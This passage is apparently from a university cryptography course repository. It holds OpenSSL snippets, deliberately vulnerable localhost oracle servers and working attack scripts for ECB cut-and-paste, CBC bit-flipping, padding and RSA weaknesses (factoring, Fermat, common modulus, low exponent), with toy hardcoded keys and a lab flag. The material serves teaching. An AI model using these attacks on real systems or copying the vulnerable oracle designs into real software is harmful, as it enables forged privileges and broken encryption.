EVP_CIPHER_CTX_free (ctx); 34 | 35 | return 1; 36 | } 37 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/blofish_encrypt.c: -------------------------------------------------------------------------------- 1 | /* from OpenSSL documentation */ 2 | 3 | int encrypt (int infd, int outfd) 4 | { 5 | unsigned char outbuf[OP_SIZE]; 6 | int olen, tlen, n; 7 | char inbuff[IP_SIZE]; 8 | EVP_CIPHER_CTX *ctx; 9 | 10 | EVP_CIPHER_CTX_init (ctx); 11 | EVP_EncryptInit (ctx, EVP_bf_cbc (), key, iv); 12 | for (;;) 13 | { 14 | bzero (& inbuff, IP_SIZE); 15 | if ((n = read (infd, inbuff, IP_SIZE)) == -1) 16 | { 17 | perror ("read error"); break; 18 | } 19 | else if (n == 0) break; 20 | 21 | if (EVP_EncryptUpdate (& ctx, outbuf, & olen, inbuff, n) != 1) 22 | { printf ("error in encrypt update\n"); return 0; 23 | } 24 | 25 | if (EVP_EncryptFinal (& ctx, outbuf + olen, & tlen) != 1) 26 | { 27 | printf ("error in encrypt final\n"); return 0; 28 | } 29 | olen += tlen; 30 | if ((n = write (outfd, outbuf, olen)) == -1) 31 | perror ("write error"); 32 | } 33 | EVP_CIPHER_CTX_free (ctx); return 1; 34 | } 35 | 36 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/generate_key.c: -------------------------------------------------------------------------------- 1 | /* bad random key generation */ 2 | 3 | int generate_key () 4 | { 5 | int i, j, fd; 6 | 7 | if ((fd = open ("/dev/random", O_RDONLY)) == -1) 8 | perror ("open error"); 9 | 10 | if ((read (fd, key, 16)) == -1) 11 | perror ("read key error"); 12 | 13 | if ((read (fd, iv, 8)) == -1) 14 | perror ("read iv error"); 15 | 16 | printf("128 bit key:\n"); 17 | 18 | for (i = 0; i < 16; i++) 19 | printf ("%d \t", key[i]); 20 | printf ("\n ------ \n"); 21 | 22 | printf("Initialization vector\n"); 23 | for (i = 0; i < 8; i++) 24 | printf ("%d \t", iv[i]); 25 | printf ("\n ------ \n"); 26 | close (fd); return 0; 27 | } 28 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/random.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX_BUF 2048 5 | 6 | int main(int argc,char **argv) { 7 | 8 | int n; 9 | int i; 10 | unsigned char random_string[MAX_BUF]; 11 | 12 | if(sscanf(argv[1],"%d",&n)==0){ 13 | fprintf(stderr,"Problems scanning argv[1]\n"); 14 | exit(1); 15 | } 16 | 17 | if(n>MAX_BUF){ 18 | printf("Maximum size allowed exxeced. Set to %d\n",MAX_BUF); 19 | n=MAX_BUF; 20 | } 21 | 22 | 23 | int rc = RAND_load_file("/dev/random", 32); 24 | if(rc != 32) { 25 | printf("Couldnt initialize PRNG\n"); 26 | exit(1); 27 | } 28 | 29 | RAND_bytes(random_string,n); 30 | 31 | printf("Sequence generated: "); 32 | for(i = 0; i < n; i++) 33 | printf("%02x", random_string[i]); 34 | printf("\n"); 35 | 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/random_template.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX_BUF 2048 5 | 6 | int main(int argc,char **argv) { 7 | 8 | int n; 9 | int i; 10 | unsigned char random_string[MAX_BUF]; 11 | 12 | if(sscanf(argv[1],"%d",&n)==0){ 13 | fprintf(stderr,"Problems scanning argv[1]\n"); 14 | exit(1); 15 | } 16 | 17 | if(n>MAX_BUF){ 18 | printf("Maximum size allowed exxeced. Set to %d\n",MAX_BUF); 19 | n=MAX_BUF; 20 | } 21 | 22 | /* 23 | 1. properly init the generator 24 | 2. generate sequence of psuedo-random bytes and store them in a buffer 25 | */ 26 | 27 | 28 | 29 | 30 | 31 | 32 | printf("Sequence generated: "); 33 | for(i = 0; i < n; i++) 34 | printf("%02x", random_string[i]); 35 | printf("\n"); 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /AY1920/attacks/CBC-Oracle/CBC_Oracle_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import unpad 5 | 6 | from mysecrets import cbc_oracle_key as key, HOST, PORT 7 | 8 | 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | print('Socket created') 11 | 12 | try: 13 | s.bind((HOST, PORT)) 14 | except socket.error as msg: 15 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 16 | sys.exit() 17 | print('Socket bind complete') 18 | 19 | s.listen(10) 20 | print('Socket now listening') 21 | 22 | #wait to accept a connection - blocking call 23 | while 1: 24 | conn, addr = s.accept() 25 | print('A new padding test requested by ' + addr[0] + ':' + str(addr[1])) 26 | 27 | iv = conn.recv(AES.block_size) 28 | ciphertext = conn.recv(1024) 29 | 30 | cipher = AES.new(key, AES.MODE_CBC, iv ) 31 | 32 | try: 33 | unpad(cipher.decrypt(ciphertext),AES.block_size) 34 | #PKCS 01 / 0202 / 030303 35 | 36 | 37 | except ValueError: 38 | conn.send(b'NO') 39 | continue 40 | 41 | 42 | conn.send(b'OK') 43 | 44 | conn.close() 45 | 46 | s.close() 47 | -------------------------------------------------------------------------------- /AY1920/attacks/CBC-Oracle/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | iv = b'\xd9H\xaf\xc9\xa5\xc9"3\x93\xaa\xbd\x87\xa5\x15\x04\xdd' 6 | key = b'0123456789abcdef0123456789abcdef' 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time????}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY1920/attacks/ECB_copy_paste/live/copy_paste_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | from pwn import * 4 | 5 | from mysecrets import HOST,PORT 6 | 7 | if __name__ == '__main__': 8 | 9 | # first connection: exclude user by isolating it in a different block 10 | 11 | server = remote(HOST, PORT) 12 | email1 = "aaaaaaa@b.com" 13 | server.send(email1) 14 | c1 = server.recv(1024) 15 | server.close() 16 | 17 | # second: ask to create the last block we need 18 | # admin padded \x0b 11 times 19 | 20 | server = remote(HOST, PORT) 21 | email2 = "aaaaaaaaaa" + pad("admin".encode(),AES.block_size).decode() 22 | server.send(email2) 23 | c2 = server.recv(1024) 24 | server.close() 25 | 26 | ciphertext_attack = bytearray() 27 | ciphertext_attack += c1[0:2*AES.block_size] 28 | ciphertext_attack += c2[AES.block_size:2*AES.block_size] 29 | 30 | test = remote(HOST, PORT+100) 31 | test.send(ciphertext_attack) 32 | msg = test.recv(1024) 33 | print(msg.decode()) 34 | test.close() 35 | -------------------------------------------------------------------------------- /AY1920/attacks/ECB_copy_paste/mysecrets.py: -------------------------------------------------------------------------------- 1 | #this is the file 2. in the current exercise but it is not 2 | #allowed to have the "2." prefix if you want to use it as a module... 3 | 4 | aes_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 5 | salsa_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 6 | 7 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 8 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' 9 | 10 | ecb_oracle_secret = "Here's my secret" 11 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 12 | 13 | HOST = 'localhost' # Symbolic name, meaning all available interfaces 14 | PORT = 12342 15 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/1_factor.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 100 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/3_common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | p1 = getPrime(20) 12 | p2 = getPrime(20) 13 | p3 = getPrime(20) 14 | print(p1) 15 | print(p2) 16 | print(p3) 17 | 18 | n1 = p1 * p2 19 | n2 = p1 * p3 20 | 21 | print(n1) 22 | print(n2) 23 | 24 | 25 | f1 = egcd(n1,n2)[0] 26 | 27 | f2 = n1 // f1 28 | 29 | f3 = n2 // f1 30 | 31 | 32 | print(f1) 33 | print(f2) 34 | print(f3) 35 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/4_common_modulus.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | 4 | 5 | 6 | def egcd(a, b): 7 | if a == 0: 8 | return (b, 0, 1) 9 | else: 10 | g, y, x = egcd(b % a, a) 11 | return (g, x - (b // a) * y, y) 12 | 13 | 14 | n_length = 40 15 | 16 | p1 = getPrime(n_length) 17 | p2 = getPrime(n_length) 18 | print(p1) 19 | print(p2) 20 | 21 | n = p1 * p2 22 | print(n) 23 | # print(n2) 24 | 25 | e1 = 65537 # f4 26 | 27 | phi = (p1-1)*(p2-1) 28 | print(phi) 29 | 30 | d1 = pow(e1, -1, phi) 31 | print(d1) 32 | 33 | pubkey1 = (e1,n) 34 | prikey1 = (d1,n) 35 | 36 | 37 | ############################ 38 | e2 = 17 # f1 39 | 40 | d2 = pow(e2, -1, phi) 41 | print(d2) 42 | 43 | pubkey2 = (e2,n) 44 | prikey2 = (d2,n) 45 | 46 | ############################# 47 | plaintext = b'AAAAAAA' 48 | plaintext_int = int.from_bytes(plaintext,byteorder='big') 49 | c1 = pow(plaintext_int,e1,n) 50 | c2 = pow(plaintext_int,e2,n) 51 | 52 | res = egcd(e1,e2) 53 | u = res[1] 54 | v = res[2] 55 | 56 | val = u*e1 + v*e2 57 | print(val) 58 | 59 | decrypted = pow(c1,u,n)*pow(c2,v,n) % n 60 | print(decrypted) 61 | print(decrypted.to_bytes(n_length,byteorder='big').decode()) 62 | 63 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/5_low_public_exp.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | #kth root of the number n 4 | def iroot(k, n): 5 | u, s = n, n+1 6 | while u < s: 7 | s = u 8 | t = (k-1) * s + n // pow(s, k-1) 9 | u = t // k 10 | return s 11 | 12 | 13 | n_length = 400 14 | 15 | p1 = getPrime(n_length) 16 | p2 = getPrime(n_length) 17 | print(p1) 18 | print(p2) 19 | 20 | n = p1 * p2 21 | print(n) 22 | 23 | e = 17 24 | phi = (p1-1)*(p2-1) 25 | print(phi) 26 | 27 | d = pow(e, -1, phi) 28 | print(d) 29 | 30 | pubkey1 = (e,n) 31 | prikey1 = (d,n) 32 | 33 | 34 | m = b'AAAA' 35 | m_int = int.from_bytes(m,byteorder='big') 36 | print(m_int) 37 | # print(m_int.to_bytes(n_length,byteorder='big').decode()) 38 | 39 | c = pow(m_int,e,n) 40 | print(c) 41 | 42 | dec = pow(c,1/e) 43 | print(dec) 44 | #dec_int = 65 45 | 46 | d_int = iroot(e,c) 47 | 48 | print(d_int) 49 | print(d_int.to_bytes(n_length,byteorder='big').decode()) 50 | 51 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/LSB_Oracle/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from mysecrets import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/LSB_Oracle/generate_key_for_server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import PKCS1_OAEP 2 | from Crypto.PublicKey import RSA 3 | 4 | from mysecrets import rsa_key_pwd, rsa_msg 5 | 6 | key = RSA.generate(2048) 7 | 8 | 9 | f = open('../more/myserverkey.pem', 'wb') 10 | f.write(key.export_key(format = 'PEM',passphrase=rsa_key_pwd,pkcs=8)) 11 | f.close() 12 | 13 | f = open('../more/public_serverkey.pem', 'wb') 14 | f.write(key.publickey().export_key(format = 'PEM')) 15 | f.close() 16 | 17 | cipher_public = PKCS1_OAEP.new(key.publickey()) 18 | ciphertext = cipher_public.encrypt(rsa_msg.encode()) 19 | 20 | 21 | f = open('../more/encrypted_msg.rsa', 'wb') 22 | f.write(ciphertext) 23 | f.close() 24 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/LSB_Oracle/live/7a_LSB_Oracle_live.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from mysecrets import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/live/1_factor_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | n = p1 * p2 9 | 10 | print(p1) 11 | print(p2) 12 | print(n) 13 | 14 | f = FactorDB(n) 15 | f.connect() 16 | print(f.get_factor_list()) 17 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/live/2_fermat_live.py: -------------------------------------------------------------------------------- 1 | from gmpy2 import isqrt 2 | from Crypto.Util.number import getPrime 3 | from sympy import nextprime 4 | 5 | # p = a+ b, q = a-b 6 | # n = a**2 - b**2 7 | # a**2 - n = s = b**2 --> isqrt(x) is b 8 | def fermat(n): 9 | print("init") 10 | a = b = isqrt(n) 11 | x = pow(a,2) - n 12 | 13 | print("a = "+str(a)) 14 | print("b = " + str(b)) 15 | 16 | print("cycle") 17 | 18 | while True: 19 | if x == pow(b,2): 20 | print("found") 21 | break; 22 | else: 23 | a +=1 24 | x = pow(a, 2) - n 25 | b = isqrt(x) 26 | print("a = " + str(a)) 27 | print("b = " + str(b)) 28 | print("delta = " + str(n - pow(a,2) + pow(b,2))) 29 | 30 | p = a + b 31 | q = a - b 32 | 33 | return p, q 34 | 35 | 36 | if __name__ == '__main__': 37 | n_length = 100 38 | p1 = getPrime(n_length) 39 | 40 | delta = 1000000000000000000 41 | 42 | p2 = nextprime(p1+delta) 43 | 44 | 45 | n = p1 * p2 46 | print(p1) 47 | print(p2) 48 | print(n) 49 | 50 | q1,q2 = fermat(n) 51 | print(q1) 52 | print(q2) 53 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/live/3_common_prime_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | 12 | n_length = 1024 13 | p1 = getPrime(n_length) 14 | p2 = getPrime(n_length) 15 | p3 = getPrime(n_length) 16 | 17 | print(p1) 18 | print(p2) 19 | print(p3) 20 | 21 | n1 = p1 * p2 22 | n2 = p1 * p3 23 | 24 | f = egcd(n1,n2)[0] 25 | 26 | print(f) 27 | 28 | f1 = n1 // f 29 | f2 = n2 // f 30 | 31 | 32 | print(f1) 33 | print(f2) 34 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/live/4_common_modulus_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | 4 | def egcd(a, b): 5 | if a == 0: 6 | return (b, 0, 1) 7 | else: 8 | g, y, x = egcd(b % a, a) 9 | return (g, x - (b // a) * y, y) 10 | 11 | 12 | n_length = 1024 13 | 14 | p1 = getPrime(n_length) 15 | p2 = getPrime(n_length) 16 | n = p1 * p2 17 | 18 | e1 = 65537 19 | e2 = 17 20 | 21 | phi = (p1-1)*(p2-1) 22 | 23 | d1 = pow(e1,-1,phi) 24 | d2 = pow(e2,-1,phi) 25 | 26 | pubkey1 = (e1, n) 27 | prikey1 = (d1, n) 28 | pubkey2 = (e2, n) 29 | prikey2 = (d2, n) 30 | 31 | 32 | plaintext = b'message' 33 | p_int = int.from_bytes(plaintext,byteorder='big') 34 | 35 | # p_int < n 36 | 37 | c1 = pow(p_int,e1,n) 38 | c2 = pow(p_int,e2,n) 39 | 40 | 41 | res = egcd(e1,e2) 42 | 43 | u = res[1] 44 | v = res[2] 45 | 46 | decrypted = pow(c1,u,n) * pow(c2,v,n) % n 47 | print(decrypted) 48 | print(decrypted.to_bytes(n_length,byteorder='big').decode()) 49 | -------------------------------------------------------------------------------- /AY1920/attacks/RSA/live/5_low_public_exp_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | # kth root of number n 4 | def iroot(k, n): 5 | u, s = n, n+1 6 | while u < s: 7 | s = u 8 | t = (k-1) * s + n // pow(s, k-1) 9 | u = t // k 10 | return s 11 | 12 | 13 | n_length = 1024 14 | 15 | p1 = getPrime(n_length) 16 | p2 = getPrime(n_length) 17 | n = p1 * p2 18 | 19 | e = 17 20 | phi = (p1-1)*(p2-1) 21 | d = pow(e,-1,phi) 22 | 23 | pubkey1 = (e, n) 24 | prikey1 = (d, n) 25 | 26 | 27 | m = b'H' 28 | m_int = int.from_bytes(m,byteorder='big') 29 | print(m_int) 30 | 31 | c = pow(m_int,e,n) 32 | print(c) 33 | print(n) 34 | # print(pow(c,1/e)) 35 | 36 | # dec = 310939249775 37 | 38 | dec = iroot(e,c) 39 | 40 | print(dec.to_bytes(n_length,byteorder='big').decode()) 41 | 42 | -------------------------------------------------------------------------------- /AY1920/attacks/bit_flipping/bf_client.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | from pwn import * 4 | 5 | ADDRESS = "localhost" 6 | PORT = 12342 7 | 8 | q = remote(ADDRESS, PORT) 9 | ciphertext = q.recv(1024) 10 | 11 | old_block = pad(b'admin=0',AES.block_size) 12 | print(old_block) 13 | new_block = pad(b'admin=1',AES.block_size) 14 | print(new_block) 15 | delta = bytes(a ^ b for (a, b) in zip(old_block,new_block)) 16 | print(delta) 17 | 18 | print(len(ciphertext)) 19 | ciphertext_array = bytearray(ciphertext) 20 | for i in range(0,16): 21 | ciphertext_array[i]^=delta[i] 22 | 23 | q.send(ciphertext_array) 24 | y = q.recv(1024).decode('utf-8') 25 | print(y) 26 | q.close() 27 | 28 | 29 | -------------------------------------------------------------------------------- /AY1920/attacks/bit_flipping/bit_flipping_cbc.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad, unpad 4 | 5 | 6 | # simulate the use of a session cookie that contains 7 | # username = ???, admin = 0 8 | 9 | 10 | 11 | plaintext = b'username = aldo,admin=0' 12 | print(plaintext) 13 | print(len(plaintext)) 14 | 15 | key = get_random_bytes(32) 16 | iv = get_random_bytes(16) 17 | cipher = AES.new(key,AES.MODE_CBC,iv) 18 | 19 | print(key) 20 | print(iv) 21 | 22 | ciphertext = cipher.encrypt(pad(plaintext,AES.block_size)) 23 | 24 | old_block = pad(b'admin=0',AES.block_size) 25 | print(old_block) 26 | new_block = pad(b'admin=1',AES.block_size) 27 | print(new_block) 28 | delta = bytes(a ^ b for (a, b) in zip(old_block,new_block)) 29 | print(delta) 30 | 31 | print(len(ciphertext)) 32 | ciphertext_array = bytearray(ciphertext) 33 | for i in range(0,16): 34 | ciphertext_array[i]^=delta[i] 35 | 36 | 37 | cipher_dec = AES.new(key,AES.MODE_CBC,iv) 38 | print(cipher_dec.decrypt(ciphertext_array)) 39 | print(unpad(cipher_dec.decrypt(ciphertext_array),AES.block_size)) 40 | -------------------------------------------------------------------------------- /AY1920/attacks/bit_flipping/mysecrets.py: -------------------------------------------------------------------------------- 1 | #this is the file 2. in the current exercise but it is not 2 | #allowed to have the "2." prefix if you want to use it as a module... 3 | 4 | aes_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 5 | salsa_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 6 | 7 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 8 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' 9 | -------------------------------------------------------------------------------- /AY1920/attacks/ecb_decrypt/ECB_ACPAttack_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | 8 | HOST = '' # Symbolic name, meaning all available interfaces 9 | PORT = 12345 10 | 11 | 12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | print('Socket created') 14 | 15 | try: 16 | s.bind((HOST, PORT)) 17 | except socket.error as msg: 18 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 19 | sys.exit() 20 | print('Socket bind complete') 21 | 22 | s.listen(10) 23 | print('Socket now listening') 24 | 25 | #wait to accept a connection - blocking call 26 | while 1: 27 | conn, addr = s.accept() 28 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 29 | 30 | input0 = conn.recv(1024).decode() 31 | 32 | # ecb_oracle_secret is 16 bytes long, all printable strings 33 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 34 | message = pad(message.encode(),AES.block_size) 35 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 36 | ciphertext = cipher.encrypt(message) 37 | 38 | conn.send(ciphertext) 39 | 40 | conn.close() 41 | 42 | s.close() 43 | -------------------------------------------------------------------------------- /AY1920/attacks/ecb_decrypt/mysecrets.py: -------------------------------------------------------------------------------- 1 | #this is the file 2. in the current exercise but it is not 2 | #allowed to have the "2." prefix if you want to use it as a module... 3 | 4 | aes_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 5 | salsa_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 6 | 7 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 8 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' 9 | 10 | ecb_oracle_secret = "Here's my secret" 11 | ecb_oracle_long_secret = "Here's my very long secret" 12 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 13 | 14 | HOST = 'localhost' # Symbolic name, meaning all available interfaces 15 | PORT = 12344 16 | -------------------------------------------------------------------------------- /AY1920/attacks/mode_detector/live/detect_live.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from math import ceil 3 | 4 | from mysecrets import HOST,PORT 5 | 6 | BLOCK_SIZE_HEX = 32 7 | BLOCK_SIZE = 16 8 | 9 | 10 | # message = "This is what I received: " + input0 + " -- END OF MESSAGE" 11 | # "This is what I received: " 12 | 13 | server = remote(HOST, PORT) 14 | 15 | start_str = "This is what I received: " # --> 32 bytes after the padding 16 | pad_len = ceil(len(start_str)/BLOCK_SIZE)*BLOCK_SIZE-len(start_str) # 32 - 25 17 | print(pad_len) 18 | 19 | # msg padding + 2 entire blocks 20 | msg = "A"*(16*2+pad_len) # plaintext message to send to the server 21 | print("Sending: "+msg) 22 | server.send(msg) 23 | ciphertext = server.recv(1024) 24 | ciphertext_hex = ciphertext.hex() 25 | 26 | server.close() 27 | 28 | for i in range(0,int(len(ciphertext_hex)/BLOCK_SIZE_HEX)): 29 | print(ciphertext_hex[i*BLOCK_SIZE_HEX:(i+1)*BLOCK_SIZE_HEX]) 30 | 31 | # 0 16 32 48 32 | # prefix | prefix+padding | block | block | I don't care 33 | 34 | print("Selected mode is = ",end='') 35 | if ciphertext[2*BLOCK_SIZE:3*BLOCK_SIZE] == ciphertext[3*BLOCK_SIZE:4*BLOCK_SIZE]: 36 | print("ECB") 37 | else: 38 | print("CBC") 39 | 40 | -------------------------------------------------------------------------------- /AY1920/attacks/mode_detector/mysecrets.py: -------------------------------------------------------------------------------- 1 | #this is the file 2. in the current exercise but it is not 2 | #allowed to have the "2." prefix if you want to use it as a module... 3 | 4 | aes_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 5 | salsa_key = b'\xf4/\xc6\x0b\xea\xc1w\xed\xfa\xf22\x0e\x92N8\x0e' 6 | 7 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 8 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' 9 | 10 | ecb_oracle_secret = "Here's my secret" 11 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 12 | 13 | HOST = 'localhost' # Symbolic name, meaning all available interfaces 14 | PORT = 12341 15 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/16.server_skeleton.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | 5 | HOST = '' # Symbolic name, meaning all available interfaces 6 | PORT = 12343 7 | 8 | 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | print('Socket created') 11 | 12 | try: 13 | s.bind((HOST, PORT)) 14 | except socket.error as msg: 15 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 16 | sys.exit() 17 | print('Socket bind complete') 18 | 19 | s.listen(10) 20 | print('Socket now listening') 21 | 22 | #wait to accept a connection - blocking call 23 | while 1: 24 | conn, addr = s.accept() 25 | print("I'm an echo server. Received input from " + addr[0] + ":"+ str(addr[1])) 26 | 27 | ##############33 28 | # do whatever you need 29 | input0 = conn.recv(1024) 30 | 31 | print(input0) 32 | 33 | conn.send(input0) 34 | 35 | 36 | 37 | #################3 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY1920/py-basic/additional_material/17.client_skeleton.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import sys 3 | 4 | ADDRESS = "localhost" 5 | PORT = 12343 6 | 7 | msg = sys.argv[1] 8 | 9 | q = remote(ADDRESS, PORT) 10 | print("Sending: "+msg) 11 | q.send(msg) 12 | y = q.recv(1024).decode('utf-8') 13 | q.close() 14 | 15 | print("Receiving: "+y) 16 | 17 | if y == msg: 18 | print("Echo succeeded!") 19 | else: 20 | 